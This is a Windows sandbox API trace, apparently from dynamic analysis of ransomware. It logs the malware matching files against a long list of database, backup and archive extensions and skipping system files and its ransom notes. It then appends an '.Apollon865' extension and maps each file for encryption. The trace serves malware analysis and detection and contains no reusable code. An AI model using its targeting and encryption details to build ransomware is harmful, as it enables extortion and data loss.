	[0080.878] lstrlenW (lpString="nwdb") returned 4
	[0080.878] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0080.878] lstrlenW (lpString="nyf") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0080.878] lstrlenW (lpString="odb") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0080.878] lstrlenW (lpString="odb") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0080.878] lstrlenW (lpString="oqy") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0080.878] lstrlenW (lpString="ora") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0080.879] lstrlenW (lpString="orx") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0080.879] lstrlenW (lpString="owc") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0080.879] lstrlenW (lpString="p96") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0080.879] lstrlenW (lpString="p97") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0080.879] lstrlenW (lpString="pan") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0080.879] lstrlenW (lpString="pdb") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0080.879] lstrlenW (lpString="pdm") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0080.879] lstrlenW (lpString="pnz") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0080.879] lstrlenW (lpString="qry") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0080.879] lstrlenW (lpString="qvd") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0080.879] lstrlenW (lpString="rbf") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0080.879] lstrlenW (lpString="rctd") returned 4
	[0080.879] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0080.879] lstrlenW (lpString="rod") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0080.879] lstrlenW (lpString="rodx") returned 4
	[0080.879] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0080.879] lstrlenW (lpString="rpd") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0080.879] lstrlenW (lpString="rsd") returned 3
	[0080.879] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0080.879] lstrlenW (lpString="sas7bdat") returned 8
	[0080.879] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0080.879] lstrlenW (lpString="sbf") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0080.880] lstrlenW (lpString="scx") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0080.880] lstrlenW (lpString="sdb") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0080.880] lstrlenW (lpString="sdc") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0080.880] lstrlenW (lpString="sdf") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0080.880] lstrlenW (lpString="sis") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0080.880] lstrlenW (lpString="spq") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0080.880] lstrlenW (lpString="te") returned 2
	[0080.880] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0080.880] lstrlenW (lpString="teacher") returned 7
	[0080.880] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0080.880] lstrlenW (lpString="tmd") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0080.880] lstrlenW (lpString="tps") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0080.880] lstrlenW (lpString="trc") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0080.880] lstrlenW (lpString="trc") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0080.880] lstrlenW (lpString="trm") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0080.880] lstrlenW (lpString="udb") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0080.880] lstrlenW (lpString="udl") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0080.880] lstrlenW (lpString="usr") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0080.880] lstrlenW (lpString="v12") returned 3
	[0080.880] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0080.881] lstrlenW (lpString="vis") returned 3
	[0080.881] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0080.881] lstrlenW (lpString="vpd") returned 3
	[0080.881] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0080.881] lstrlenW (lpString="vvv") returned 3
	[0080.881] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0080.881] lstrlenW (lpString="wdb") returned 3
	[0080.881] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0080.881] lstrlenW (lpString="wmdb") returned 4
	[0080.881] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0080.881] lstrlenW (lpString="wrk") returned 3
	[0080.881] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0080.881] lstrlenW (lpString="xdb") returned 3
	[0080.881] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0080.881] lstrlenW (lpString="xld") returned 3
	[0080.881] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0080.881] lstrlenW (lpString="xmlff") returned 5
	[0080.881] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0080.881] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll.Apollon865") returned 83
	[0080.881] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0080.883] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.883] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=14176) returned 1
	[0080.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.883] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.884] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.884] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.885] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a60, lpName=0x0) returned 0x15c
	[0080.886] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a60) returned 0x100000
	[0080.888] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.889] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.889] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0080.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0080.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.889] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0080.890] CloseHandle (hObject=0x15c) returned 1
	[0080.890] CloseHandle (hObject=0x9c) returned 1
	[0080.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.890] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xb960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".") returned 1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="..") returned 1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="windows") returned -1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="temp") returned -1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="boot") returned 1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="ids.txt") returned -1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="perflogs") returned -1
	[0080.890] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="MSBuild") returned -1
	[0080.890] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0080.890] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned 72
	[0080.890] lstrcpyW (in: lpString1=0x119e670, lpString2="GRINTL32.DLL.trx_dll" | out: lpString1="GRINTL32.DLL.trx_dll") returned="GRINTL32.DLL.trx_dll"
	[0080.890] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0080.890] lstrlenW (lpString="Apollon865") returned 10
	[0080.890] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0080.891] lstrlenW (lpString=".dll") returned 4
	[0080.891] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0080.891] lstrlenW (lpString=".lnk") returned 4
	[0080.891] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0080.891] lstrlenW (lpString=".ini") returned 4
	[0080.891] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0080.891] lstrlenW (lpString=".sys") returned 4
	[0080.891] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0080.891] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0080.891] lstrlenW (lpString="bak") returned 3
	[0080.891] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0080.891] lstrlenW (lpString="ba_") returned 3
	[0080.891] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0080.891] lstrlenW (lpString="dbb") returned 3
	[0080.891] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0080.891] lstrlenW (lpString="vmdk") returned 4
	[0080.891] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0080.891] lstrlenW (lpString="rar") returned 3
	[0080.891] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0080.891] lstrlenW (lpString="zip") returned 3
	[0080.891] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0080.891] lstrlenW (lpString="tgz") returned 3
	[0080.891] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0080.891] lstrlenW (lpString="vbox") returned 4
	[0080.891] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0080.891] lstrlenW (lpString="vdi") returned 3
	[0080.891] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0080.891] lstrlenW (lpString="vhd") returned 3
	[0080.891] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0080.891] lstrlenW (lpString="vhdx") returned 4
	[0080.891] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0080.891] lstrlenW (lpString="avhd") returned 4
	[0080.891] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0080.891] lstrlenW (lpString="db") returned 2
	[0080.891] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0080.891] lstrlenW (lpString="db2") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0080.892] lstrlenW (lpString="db3") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0080.892] lstrlenW (lpString="dbf") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0080.892] lstrlenW (lpString="mdf") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0080.892] lstrlenW (lpString="mdb") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0080.892] lstrlenW (lpString="sql") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0080.892] lstrlenW (lpString="sqlite") returned 6
	[0080.892] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0080.892] lstrlenW (lpString="sqlite3") returned 7
	[0080.892] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0080.892] lstrlenW (lpString="sqlitedb") returned 8
	[0080.892] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0080.892] lstrlenW (lpString="xml") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0080.892] lstrlenW (lpString="$er") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0080.892] lstrlenW (lpString="4dd") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0080.892] lstrlenW (lpString="4dl") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0080.892] lstrlenW (lpString="^^^") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0080.892] lstrlenW (lpString="abs") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0080.892] lstrlenW (lpString="abx") returned 3
	[0080.892] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0080.892] lstrlenW (lpString="accdb") returned 5
	[0080.892] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0080.892] lstrlenW (lpString="accdc") returned 5
	[0080.892] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0080.892] lstrlenW (lpString="accde") returned 5
	[0080.893] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0080.893] lstrlenW (lpString="accdr") returned 5
	[0080.893] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0080.893] lstrlenW (lpString="accdt") returned 5
	[0080.893] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0080.893] lstrlenW (lpString="accdw") returned 5
	[0080.893] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0080.893] lstrlenW (lpString="accft") returned 5
	[0080.893] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0080.893] lstrlenW (lpString="adb") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0080.893] lstrlenW (lpString="adb") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0080.893] lstrlenW (lpString="ade") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0080.893] lstrlenW (lpString="adf") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0080.893] lstrlenW (lpString="adn") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0080.893] lstrlenW (lpString="adp") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0080.893] lstrlenW (lpString="alf") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0080.893] lstrlenW (lpString="ask") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0080.893] lstrlenW (lpString="btr") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0080.893] lstrlenW (lpString="cat") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0080.893] lstrlenW (lpString="cdb") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0080.893] lstrlenW (lpString="ckp") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0080.893] lstrlenW (lpString="cma") returned 3
	[0080.893] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0080.893] lstrlenW (lpString="cpd") returned 3
	[0080.894] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0080.894] lstrlenW (lpString="dacpac") returned 6
	[0080.894] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0080.894] lstrlenW (lpString="dad") returned 3
	[0080.894] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0080.894] lstrlenW (lpString="dadiagrams") returned 10
	[0080.894] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0080.894] lstrlenW (lpString="daschema") returned 8
	[0080.894] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0080.894] lstrlenW (lpString="db-journal") returned 10
	[0080.894] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0080.894] lstrlenW (lpString="db-shm") returned 6
	[0080.894] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0080.894] lstrlenW (lpString="db-wal") returned 6
	[0080.894] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0080.894] lstrlenW (lpString="dbc") returned 3
	[0080.894] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0080.894] lstrlenW (lpString="dbs") returned 3
	[0080.894] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0080.894] lstrlenW (lpString="dbt") returned 3
	[0080.894] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0080.894] lstrlenW (lpString="dbv") returned 3
	[0080.894] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0080.894] lstrlenW (lpString="dbx") returned 3
	[0080.894] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0080.894] lstrlenW (lpString="dcb") returned 3
	[0080.894] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0080.894] lstrlenW (lpString="dct") returned 3
	[0080.894] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0080.894] lstrlenW (lpString="dcx") returned 3
	[0080.894] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0080.894] lstrlenW (lpString="ddl") returned 3
	[0080.894] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0080.894] lstrlenW (lpString="dlis") returned 4
	[0080.894] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0080.894] lstrlenW (lpString="dp1") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0080.895] lstrlenW (lpString="dqy") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0080.895] lstrlenW (lpString="dsk") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0080.895] lstrlenW (lpString="dsn") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0080.895] lstrlenW (lpString="dtsx") returned 4
	[0080.895] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0080.895] lstrlenW (lpString="dxl") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0080.895] lstrlenW (lpString="eco") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0080.895] lstrlenW (lpString="ecx") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0080.895] lstrlenW (lpString="edb") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0080.895] lstrlenW (lpString="epim") returned 4
	[0080.895] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0080.895] lstrlenW (lpString="fcd") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0080.895] lstrlenW (lpString="fdb") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0080.895] lstrlenW (lpString="fic") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0080.895] lstrlenW (lpString="flexolibrary") returned 12
	[0080.895] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0080.895] lstrlenW (lpString="fm5") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0080.895] lstrlenW (lpString="fmp") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0080.895] lstrlenW (lpString="fmp12") returned 5
	[0080.895] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0080.895] lstrlenW (lpString="fmpsl") returned 5
	[0080.895] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0080.895] lstrlenW (lpString="fol") returned 3
	[0080.895] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0080.896] lstrlenW (lpString="fp3") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0080.896] lstrlenW (lpString="fp4") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0080.896] lstrlenW (lpString="fp5") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0080.896] lstrlenW (lpString="fp7") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0080.896] lstrlenW (lpString="fpt") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0080.896] lstrlenW (lpString="frm") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0080.896] lstrlenW (lpString="gdb") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0080.896] lstrlenW (lpString="gdb") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0080.896] lstrlenW (lpString="grdb") returned 4
	[0080.896] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0080.896] lstrlenW (lpString="gwi") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0080.896] lstrlenW (lpString="hdb") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0080.896] lstrlenW (lpString="his") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0080.896] lstrlenW (lpString="ib") returned 2
	[0080.896] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0080.896] lstrlenW (lpString="idb") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0080.896] lstrlenW (lpString="ihx") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0080.896] lstrlenW (lpString="itdb") returned 4
	[0080.896] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0080.896] lstrlenW (lpString="itw") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0080.896] lstrlenW (lpString="jet") returned 3
	[0080.896] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0080.896] lstrlenW (lpString="jtx") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0080.897] lstrlenW (lpString="kdb") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0080.897] lstrlenW (lpString="kexi") returned 4
	[0080.897] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0080.897] lstrlenW (lpString="kexic") returned 5
	[0080.897] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0080.897] lstrlenW (lpString="kexis") returned 5
	[0080.897] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0080.897] lstrlenW (lpString="lgc") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0080.897] lstrlenW (lpString="lwx") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0080.897] lstrlenW (lpString="maf") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0080.897] lstrlenW (lpString="maq") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0080.897] lstrlenW (lpString="mar") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0080.897] lstrlenW (lpString="marshal") returned 7
	[0080.897] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0080.897] lstrlenW (lpString="mas") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0080.897] lstrlenW (lpString="mav") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
